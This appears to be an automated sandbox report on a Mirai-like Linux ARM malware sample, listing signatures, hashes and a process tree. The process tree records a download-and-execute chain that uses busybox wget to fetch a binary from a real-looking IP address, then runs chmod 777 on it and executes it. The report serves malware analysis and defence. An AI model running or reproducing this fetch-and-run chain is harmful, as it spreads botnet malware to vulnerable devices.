Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/08/2026, 03:11

General

  • Target
    d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
  • Size 1KB
  • Sample260818-dps8gsfb38
  • SHA256 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
  • MD5 SHA1 SHA512 TLSH
Score
9/10

Malware Config

Signatures

  • Detects suspicious XORed keyword - Mozilla/5.0 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 1 IoCs
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
    /tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
    1⤵
    • Executes dropped EXE
    PID:653
    • /bin/uname
      uname -m
      2⤵
        PID:656
      • /bin/rm
        rm -f d
        2⤵
          PID:658
        • /bin/busybox
          busybox wget -O d http://31.77.227.102/d/mini.arm7
          2⤵
          • Writes file to tmp directory
          PID:661
        • /usr/bin/wc
          wc -c
          2⤵
            PID:685
          • /bin/chmod
            chmod 777 d
            2⤵
            • File and Directory Permissions Modification
            PID:686
          • /tmp/d
            ./d vitek
            2⤵
            • Deletes itself
            • Modifies Watchdog functionality
            • Changes its process name
            • Writes file to tmp directory
            PID:687

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              d

              • Path /tmp/d
              • Size 40KB
              • SHA256 1fd2a05430520a56cd5cacc24d3c552ce7674d3dc2b17990c6744da481f0a77c
              • MD5 SHA1 SHA512 SSDEEP TLSH